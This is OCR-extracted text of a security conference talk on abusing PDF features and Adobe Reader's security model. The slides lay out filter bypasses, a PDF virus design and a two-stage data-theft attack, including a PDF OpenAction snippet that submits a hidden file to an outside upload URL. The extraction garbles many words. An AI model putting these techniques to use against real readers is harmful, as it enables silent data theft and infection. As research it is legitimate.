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@ MS O ce documents are regarded as lethal:

o Many arbitrary code executionaws, macro-virus, ...
@ PDF les are much more reliable and secure!!!
@ No macro

o Documents are static like images

Feeling secure with PDF?
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Last words

Origami

De nition (Wikipedia)

From oru meaning "folding", andkami meaning "paper".
Ancient Japanese art of paper folding. The goal is to create a represen-
tation of an object using geometric folds and crease patterns preferably

without the use of gluing or cutting the paper, and using only onieqe
of paper.

Origami only uses a small number of di erent folds, bilitey can be com
bined in a variety of ways to make intricate designs

o
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About this talk

The philosophy of malicious origami in PDF
@ Understand the PDF language to (ab)use it
o Understand the security model enforced by PDF readers

) Using PDF against PDF

Con: Longer to do than nding a 0-day in most PDF readers
e Quick to nd, quick to patch

Pro: Attacks based on design aws are the most e cient
e Long to nd, long (if not impossible) to patch
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A Dbrief history of PDF (in a single slide)

1991 PDF 1.0:
1994 PDF 1.1:
1996 PDF 1.2:
1999 PDF 1.3:
2001 PDF 1.4:
2003 PDF 1.5:
2005 PDF 1.6:
2007 PDF 1.7:

F. Raynal & G. Deluge (Sogeti/ESEC)

rst release

links, encryption, comments

forms, audio/video, annotations
JavaScript, attachments, signatures
transparency, encryption enhancement
layers

3D engine

Flash integration, 3D enhancement

Malicious origami in PDF
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Last words

Textual overview: what is PDF?

PDF is a le format

@ Documents are described as a collection of objects
o These objects are stored in a le

@ This le is read by arendererin order to display the data

PDF is a descriptive language
@ Interaction between objects

o Interaction with the renderer (password protection, printing, ...)
@ No control statement (if, while, ...)

What you see isot what you get
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Graphical overview

P File

Header
Object

Object

Object

Object

Cross Ref.

\—
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PDF header
@7

Object

Object e Keyword%PDF
@ PDF version (from 1.0 to 1.7)

@ Optional binary sequence

Bbjeot 25 e2 e3 cf d3

@ Google it and own the Internet
Object

Cross Ref.

Trailer
S —
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PDF objects

" File

Header

Object

Object

Object

Object

Cross Ref.

Trailer

- m—

F. Raynal & G. Deluge (Sogeti/ESEC)

1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj

42 0 obj

<<
/Name /F1
/BaseFont /Helvetica
/Type /Font

>>

endobj

Malicious origami in PDF
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PDF cross references (1/2)

V File |

Header 0 obj
<<

Dbject /Type /Catalog

/Pages 2 0 R
>>

Objec’t endobj

Object

Object

0000000000 65535
Cross Ref. 0000000228 00000
. 0000000296 00000
Trailer 0000000449 00000

(= 0000002437 00000
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PDF cross references (2/2)

0)*%"&1 .
$o02#0 HIHE
&0 %$
1"H$%
U 1
&0 % 8888888888 (()(1% )
&%
88888

sous b 88888,

"1.,%)

0000000296 n
0000000449 n
0000002437 n

3BAS 3%
"1.45)  6)1)#2%"&1

@ Object in use:<offset> <generation> n

o <offset> : bytes since the beginning of the le to the object's
de nition

o Free object :0000000000 <number> f

e <number> number of the next free object
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@ Provide all the needed information to read the PDF le

@ Catalog is the root object describing the content of the le

«O0r «F>r «=Z)» <= aer
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Understanding PDF

Based on 4 parts

@ Objects basic element contained in the document
o File structure how objects are stored in a le

o Header, body, xref, trailer
o Encryption, signature, ...

@ Document structure how to use the objects to display the content
ofa le

o Page, chapter, annotation, fonts, ...

@ Content streams sequence of instructions describing the appearance
of a page or other graphical entity J‘

Everything is described as an object
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~ *+,1(-./.0$1
— 1!!!!(21(,)3 ( !

Always start by areference numberthen ageneration

De nition of the object surrounded bybj << ... >> endobj
Keywords inside the object depends on its type

Keywords can use reference to other objects

List of objects often referred alsody
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Basic types
@ Null object
@ Integer, real: straightforward
@ Boolean: true, false
@ String: multiple encodings available

©

e (This is a string in PDF)
Name: used as reference to another object instead of its number
e /SomethingElse
Array: mono-dimensional sequence of objects/references
o [ (foo) 42 0 R 3.14 null ]
Dictionary: (key, value) pairs
@ << ko vo ki vi ::: kn vy >>
¢ Most objects are dictionaries
Stream: association of a dictionary and raw data to be processed
‘<1<0/I?ebrngth 53 >>
stream
BT 1 Tr /F1 30 Tf 350 750 Td (foobar) Tj ET

endstream
endobj
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Focus on stream

@ /Subtype : kind of stream

us- o /Filter : transformation to apply to
the data
!“#$U/i%‘;r(f)*‘$ S @ 2 main categorles: ASCII,
: i decompression
HHC)% e Can be cascaded:
[ /ASCII85Decode /LZWDecode ]
‘ Lo o /DecodeParms : optional parameters
et UL depending on the Iter
E>$%8&
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Advanced objects

Structure of a PDF le
Thinking PDF
Deep inside PDF: objects

@ General page tree nodes,
pages, names, dates, text
streams, functions, le
speci cations, ...

@ Graphics path construction
operators, clipping, external
objects (XObject), images,
patterns, ...

o Text: spacing, text
rendering, text positioning,
fonts, ...

@ Rendering color device, gamn
correction, halftones, ...

o Transparency shape, opacity,
color mask, alpha factor, ...

o Interactive viewer preference,
annotation, actions, forms,
digital signature, ...

o Multimedia: play/screen
parameters, sounds, movies,
artwork, . ..

a

3D
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Security philosophy with PDF

o Some features areeally dangerous ...

o Ex.: starting external programs, JavaScript, automatic / invisible
actions, ...

@ But guys know they are dangerous, so they restrict them. ..
o Blacklist approach: allow everything which is not explicitly forbideh

] (w1 =
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Security philosophy with PDF

o Some features areeally dangerous ...

o Ex.: starting external programs, JavaScript, automatic / invisible

actions, ...

@ But guys know they are dangerous, so they restrict them. ..
o Blacklist approach: allow everything which is not explicitly forbideh
@ Which isopposite to the most important security mantra:

Forbid everything which is not explicitly allowed!!!
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Focus: Adobe Reader

o Some features are restricted in the software

o Restricted JavaScript interpreter

o Blacklist for some le extensions, web sites, ...
@ Security can be con gured at user level:

o Windows: keyHKChBSoftware nAdobenAcrobat Reader
o Windows: directory %APPDAT#ARdobenAcrobat

o Unix: directory ~/.adobe/Acrobat/

» Mac OS X: directory ~/Library/Preferences/com.adobe.*

@ Notion of trusted documents

o Signature: digitally signed documents embedding signer's cedate
o Certi cation: documents signed by a trusted entity, enforcing
modi cation prevention

F. Raynal & G. Deluge (Sogeti/ESEC) Malicious origami in PDF 27177



© PDF 101

© The PDF way of security
@ Enforced security
@ User con gurable security
9 Signature and certi cation
@ Usage rights

© Thinking malicious PDF
© Darth Origami: dark side of PDF

© Last words

«40r» «4F)»r « =)

« =

A2 N e




PDF 101

The PDF way of security
Thinking malicious PDF

Darth Origami: dark side of PDF

Last words

Enforced security

User con gurable security
Signature and certi cation
Usage rights

Actions: when PDF becomes dynamic

List of actions

GoTo* change the view to the speci ed destination
Launch: start a command

Thread: jump to a bead in an article

URI resolve and connect to a given URI

Sound play a sound

Movie: play a movie

Hide: manipulate annotations to hide/display them
Named prede ned actions to move across a doc
Set-OCG-Stage handle optional contents

Rendition : control the playing of multimedia content
Transition : handle the drawing between actions
Go-To-3D identi es a 3D annotations and its viewing
JavaScript : run a JS script

©

© © ¢ © © © © ¢ ¢© ¢ ¢ ¢
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Actions

When PDF becomes dynami®penAction & trigger events

[ Event | Action
e Document or page iS open| o Run a command or a
Page is viewed JavaScript

Jump to a destination
Play a sound/movie
Submit a form to a URL

[*)
o Mouse enters/exits a zone
o

Mouse button is
pressed/released

© ¢ ¢ ¢

(*)

@ Actions usually raised an alert box
@ Most alerts can be disabled in the con guration
@ Security ensured most of the time through a warning pop-up
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Action in practice:Launch (a.k.a. invisible printing)

/OpenAction <<
/S [Launch

/Win << /O (print) /F (C: nntest.pdf) >>
>>

Enforced security

o Adobe Reader 9 asks to start Adobe Reader 9 (!!)
o If user clicksOpen document issilently printed, no other message
o Launch does not refer to extension lter

F. Raynal & G. Deluge (Sogeti/ESEC) Malicious origami in PDF

3177



PDF 101

The PDF way of security
Thinking malicious PDF

Darth Origami: dark side of PDF

Last words

Enforced security

User con gurable security
Signature and certi cation
Usage rights

JavaScript

o Modi ed open source SpiderMonkyengine, de ning two execution
contexts
o Non-privileged context (default): scripts are limited to handle forms
and document properties
o Privileged context: scripts are allowed to call more powerful (and
sensible) methods, such as HTTP requests

@ Two ways of executing JavaScript:
o Embedding the script in the PDF document
e Having a script in the user con guration folder

@ These scripts are executed each time a PDF document is open
¢ Located in <config folder>/JavaScripts/*.js
@ They run in a privileged context

aAdobe's site claims changes will be made public, according to theMozilla
license. .. since 3 years!!!
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JavaScript in practice

/OpenAction << /S /JavaScript /JS (app.alert("run me autom atically™)) >>

@ JavaScript exceptions will not raise any alert if enclosed in a
try/lcatch  statement

] (w1 =
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Where the con guration resides

Most of the con guration is stored in user folders.

@ On Windows

o HKChBoftware nAdobenAcrobat Reader

o HKLMSOFTWARTSlicies nAdobenAcrobat
Readem9.0 nFeatureLockDown

o %APPDATA®dobenAcrobat

@ On Unix: ~/.adobe/Acrobat
o Mac OS X:~/Library/Preferences/com.adobe.*
o Main le: <folder>/Preferences/reader _prefs (on Unix)

o Start-up scripts: <folder>/JavaScripts/*.js
o Certi cates: <folder>/Security/*.acrodata
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Filtering attachments: the theory

@ Security policy for extracting attachments based on le extension
Itering

o A default non-writable blacklist prohibits various extensionsmd,
bat, js, vbs, exe, pif, com ...
o This blacklist is stored in HKLM or in the installation folder, hene
not modi able
o PDF and FDF are whitelisted by default
@ User can de ne his own extensions whitelist
o whitelisted extensions can then run without any warning, whatever
the le is really containing
o Blacklist has precedence over whitelist
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Filtering attachments: the real life

o Reader prompts user to open this attachment

. - A
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Filtering attachments: the real life

o Reader prompts user to open this attachment

o Adobe Reader 8: jar les are allowed by default

o Adobe Reader 9: bypass Itering by adding : orat the end of the
lename (MS Windows)

Da
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Filtering Internet Access: the theory

o Form submission, or URL access may require Reader's approbat
o Access checking is only based on the hostname

@ User can allow access to any sites, forbid everything, or deal with it
case by case with a pop-up

on

@ Access list can be modi ed at user level through registry or user
folder

@ Once a site is whitelisted, no pop-up will be raised during fut
connection attempts

] (w1 =
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Filtering Internet Access: the real life

Enforced security

o Reader prompts user to allow connection as this site has no access
entry
v
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Filtering Internet Access: the real life

o Reader prompts user to allow connection as this site has no access
entry

4

o Filtering based orpattern matching nd another representation!

http://seclabs.org == http://88.191.33.37 ==
http://1488920869:80/ ]
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Filtering protocols: the theory

‘Adobe Reader rewall
@ Protocols are Itered based oschemas
o Ex.: http, ssh, rlogin, telnet, file, ...
@ A blacklist is de ned inHKLMSOFTWAREolicies nAdobenAcrobat
Readem9.0 nFeatureLockDowmcDefaultLaunchURLPerms
@ No option in the GUI or user con guration le to change that
@ But a user can add its own option manually in HKCU

o If http:// is added to the whitelist, no more warning is ever
prompted when a HTTP connection is made!
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Filtering protocols: the real life

@ Reader prompts user to connect tocrome address (Mozilla XUL
interface).
v
o = = = = 9waw
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Filtering protocols: the real life

@ Reader prompts user to connect tocrome address (Mozilla XUL
interface).

&

o Whitelisted schemes have precedence over blacklisted hostname
@ Short-circuit the security con guration of the GUI
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PDF Digital signature howto
o A PDF document can be digitally signed

@ The whole document has to be signed for the signature to be
accepted

o Embedding a x509 certi cate or PKCS7 envelop, with the document
signature

@ The signature is validated by the reader at the opening
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DigSig Howto
o Filter and SubFilter

de ne the signature
scheme

o Contents contains the
signature itself
o ByteRangespeci es

everything but
Contents, from start
to end of the le

F. Raynal & G. Deluge (Sogeti/ESEC)

)
what part of the le is
signed
@ Must include
—

"M@*3,A5>/,"B"#"'CC#"'DEFE"F#G#"H
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More trust with PDF certi cation
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Certi cation

@ A signed document can be passed into another digest signature
process leading to aerti ed document

o Di erent trusting properties can be set to certi ed documents

o Properties: can have dynamic content, can execute privileged
JavaScript, ...

v

o User-trusted (and CA root) certi cates are saved in the Adobe
certi cate store

@ This store is a le located in the user con guration folders
) Security policy is de ned at the user level !!!
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Certi cate storage

o Localization: <conf folder>/Security/addressbook.acrodata

@ As it is user-writable, one could inject a malicious certi cate!
@ Structure very close to PDF : header, body with objects, xref, trailer
@ Each certi cate stored in a dictionary object

<<
/ABEType 1 # 1 stands for a certificate
/Cert(...) # DER-encoded certificate string
/ID 1001 # Unique value used to reference this certificate

/Editable false # Appears in the GUI panel
/Viewable false # Can be edited in the GUI panel

/Trust 8190 # Rights to give to certified documents
>>
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Usage rights

What are they?

Usage rights are used to enable additional interactive features that|are
not available by default in a particular viewer application (such as Adobe

Reader).
@ The document must be signed
@ Annots: Create, Delete, Modify, Copy, Import, Export
o Online : upload or download markup annotations from a server
o Form Fillin  (save),Import, Export, SubmitStandalone

¢ Online : permits the use of forms-speci ¢ online mechanisms such as
SOAP or Active Data Object
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Gaining usage rights

@ Usage rights are granted by Adobe Pro and so on (Adobe's non free
softwares)

@ Documents with usage rights must be cert ed by Adobe
o Adobe's certi cate is provided in the certi cate storage
o Exercise: where can be Adobgiavate key to sign the documents?

[m] = 8
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Thinking malicious PDF

Thinking like an attacker

©

Evasion tricks
Denial of Service
Information leakage
Dropping eggs
Code execution

| want to be invisible) evasion tricks

| want to kill PDF les and/or Reader) denial of services

| want to corrupt my target) egg dropping

o
o | want to steal information (read + send) information leakage
)
o

| want to overrun the target) code execution
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@ Content of a PDF can be encrypted
o PDF are naturally suited for polymorphism

o Hiding PDF in other formats as reader are helpful to x broken PDF
les
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@ Streams can be compressgd zipbmb

@ Jumping from one page to another making le unreadable
e Jumping from one le to another
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Information leakage in one slide

o Internal information disclosure

e Hidden text becoming visible thanks to copy/paste

o PDF format based on incremental updates: each removed
information is still in there

e Con guration information readable through unprivileged JavaScript
o External information disclosure

o External streams take the data out of the PDF le (Adobe Reader
8)
@ Exporting the information
@ Open your browser through PDF
e Open your browser through JavaScript in PDF
e Connect your Reader to a website using forms in PDF

=] (=) = a
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o Embedded fonts are sometimes stored in cache

@ Attachments are saved in a temporary folder

@ Multimedia sessions can be started through the Reader, stored in
player's cache
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@ Use theLaunch primitive

o Use the JavaScripexportDataObject primitive
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Bad idea #1: PDF virus

PDF virus PoC

o Create malicious PDF les based on features

o Embed a malicious le attachment
o Sign the PDF les with Adobe's private key
o Enable Usage Rights, especially Save Right

o Initial infection: distribute the malicious PDFs, corrupts others

@ Propagation: each time Reader is run, a JavaScript in run (privileged
context), and can open malicious PDF in a hidden window
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Bad idea #1: PDF virus

Origami #1: PDF based virus
Origami #2: multi-stages targeted operation

PDF virus PoC
@ Create malicious PDF les based on features
o Initial infection: distribute the malicious PDFs, corrupts others
o Ex.: fake resume sent to companies, software documentations,
newspapers articles, PDF books, ...
o If an host is already infected, privileged functions are automatically

accessible

e Otherwise wait for a stupid end-user to let the attachment go...
@ The con guration is then corrupted

@ Allow connections to a master site
¢ Add a new JavaScript run at start-up of Adobe Reader

o PDF les on the victim system are also infected and polymorphed

o Propagation: each time Reader is run, a JavaScript in run (privileged
context), and can open malicious PDF in a hidden window
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Bad idea #1: PDF virus

PDF virus PoC
@ Create malicious PDF les based on features
o Initial infection: distribute the malicious PDFs, corrupts others
o Propagation: each time Reader is run, a JavaScript in run (privileged
context), and can open malicious PDF in a hidden window

o Check whether the Reader is already corrupted (and try to infeche
system if needed)
o Check whether the PDF is already corrupted (and infect it otherae)

o Connect to a master site, and may download a PDF virus update if
needed
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Attacker's security issues

Origami #1: PDF based virus

Origami #2: multi-stages targeted operation

Before starting

o PDF are natural in any system and network environments
)

o PDF are naturally well suited to bypass detection
PDF are a good communication way

o The attack must requireno privilege others than standard user
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Origami #1: PDF based virus
Origami #2: multi-stages targeted operation

Targeted attack: 2 stages to steal data

Data theft in PDF

@ Contaminate the target: send a poisoned PDF
e Contain an embedded le executed when the doc is opened
¢ E.g. social engineeringto look like an update of the Reader
¢ Provide a Adobe's signed PDF to abuse trust
o The embedded binary prepare the les to export
@ All les to export are copied into a hidden directory
¢ When copied, it is embedded in a minimalist FDF le
@ A list of all the les is created in FDF, with a /F pointing to the C&C
site
e Corrupt the con guration
¢ Add the attacker's C&C site to the whitelist
¢ Add a JavaScript in the user's directory: next time a PDF is opered,
the list is opened (hidden) too, and submitted to the C&C site
¢ The JavaScript disables itself using aglobal variable

o Data theft: exporting the precious les
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Targeted attack: 2 stages to steal data

Data theft in PDF

@ Contaminate the target: send a poisoned PDF
o Data theft: exporting the precious les
o The attacker builds a PDF with both animportData + SubmitForm

o The PDF is sent to the target: attacker just have to wait for the
target to open the malicious PDF
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Stage 1 : corrupting the Reader

o Enable share of JS global variables among documents

@ Save information across session / communication between maliciou
documents

@ JSPrefs/bEnableGlobalSecurity = 0
@ Whitelist attacker's server hostname

o So we can freely output information to an evil server
@ TrustManager/cDefaultLaunchURLPerms/tHostPerms =
version:1|seclabs.org:2

o Whitelist unknown attachment extensions

@ So we can easily re-infect the victim system

@ Attachments/cUserLaunchAttachmentPerms/iUnlistedAtt achmentTypePerm = 2
o Add attacker's certi cate into the local user store with full trusting

privileges
o Attacker's certi ed documents can use privileged JavaScript

n
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Preparing data leakage

o FDF : close to PDF, designed to exchange data between Adobe
applications
o A PDF can load a FDF to auto- Il form elds

o Targeted les shall then be converted into FDF so that they can b
loaded and submitted with a PDF form

(0]

IFDF << [Fields [
<</T(fname)/V(secret.doc)>>
<</T(pwd) /V(2489cc8dc38d546170c57f48c92ealab)>>
<</T(content)/V(This is the most precious secret | have ... )>>
1
/JavaScript << /Before (app.alert("FDF file loaded");) >>

>>
>>
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Origami #2: multi-stages targeted operation
Stage 2 : data theft

1 0 obj
<<
/OpenAction <<
/S /importData

IF <<

/F (c: nnsomenhidden nplace nsecret.fdf)
IFS [FileSpec

>>

INext <<

/S /SubmitForm
IF <<

>>

/F (http://seclabs.org/fred/pdf/upload.php)
/FS /URL
/Flags 4

>>
>>

endobj

/Fields [ 40 R50R60R70R]
>>
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Summary

A matter of version
@ Able to sign PDFs with Adobe's certi cate

@ With Adobe Reader 8:

o Can read any le thanks to external stream
e Can run embedded jar les

o With Adobe Reader 9:

e Can read only PDF / FDF les (which are easy to create)
@ Can run any kind of le thanks to a aw in the extension parser

o Write access is still the most tedious to gain
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Conclusion

PDF, a new security risk?

o PDF is still considered harmless by most of people
o Malicious PDF are (almost) OS-independent

A word about the readers

@ Adobe Reader: each version has new (useful?) features...

o Obvious security is well handled ... even if too much security
con guration is still at user level
o Blacklist security

o Foxit: many features are supported... with no security at all
@ Preview, poppler: minimalist viewers with few supported features
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Where to seek next?

Other ideas
@ The JavaScript engine, with its undocumented functions
The embedded browser, so oldish
XFA forms
Unclear con guration features (e.g. user rights)
Embedding postscript programs
Playing with multimedia and caches
IE / Firefox plug-ins

¢ © & ¢ ¢ ¢ ¢
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Q & (hopefully) A

Slides available for downloagh PDF of course ;-)
http://security-labs.org/fred/

Eric Filiol, my padawans at Sogeti/ESEC, my boss at Sogeti/ESEC,
Pierre-Marc Bureau and Master Yoda

Special THANKS to the translators team, Tomoyuki Sakurai and David
Thiel for the japanese version of these slides
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